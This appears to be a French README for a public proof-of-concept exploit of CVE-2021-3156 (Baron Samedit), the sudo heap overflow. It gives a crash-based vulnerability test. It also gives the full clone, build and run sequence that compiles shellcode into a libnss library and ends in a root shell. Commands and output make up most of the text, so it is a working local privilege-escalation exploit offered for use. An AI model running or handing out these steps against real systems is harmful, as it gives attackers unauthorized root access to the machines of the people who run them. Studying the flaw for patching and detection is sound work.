
Exploit de preuve de concept pour CVE-2021-3156, un débordement de tas (heap-based buffer overflow) dans sudo avant la version 1.9.5p2, permettant une élévation de privilèges vers root via sudoedit -s.
Sudo avant 1.9.5p2 contient une erreur off-by-one pouvant entraîner un débordement de tas, ce qui permet une escalade de privilèges vers root via sudoedit -s et un argument de ligne de commande se terminant par un seul caractère antislash.
Crédits : Avis de Baron Samedit de Qualys
Le projet sudo a publié une commande qui permet de tester si votre version de sudo est vulnérable :
sudoedit -s '\' `perl -e 'print "A" x 65536'`
Si vous recevez un message d'utilisation ou d'erreur, sudo n'est pas vulnérable. Si le résultat est une erreur de segmentation, sudo est vulnérable.
Root shell PoC pour CVE-2021-3156 (sans bruteforce) Testé sur Ubuntu 20.04 (sudo 1.8.31)
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root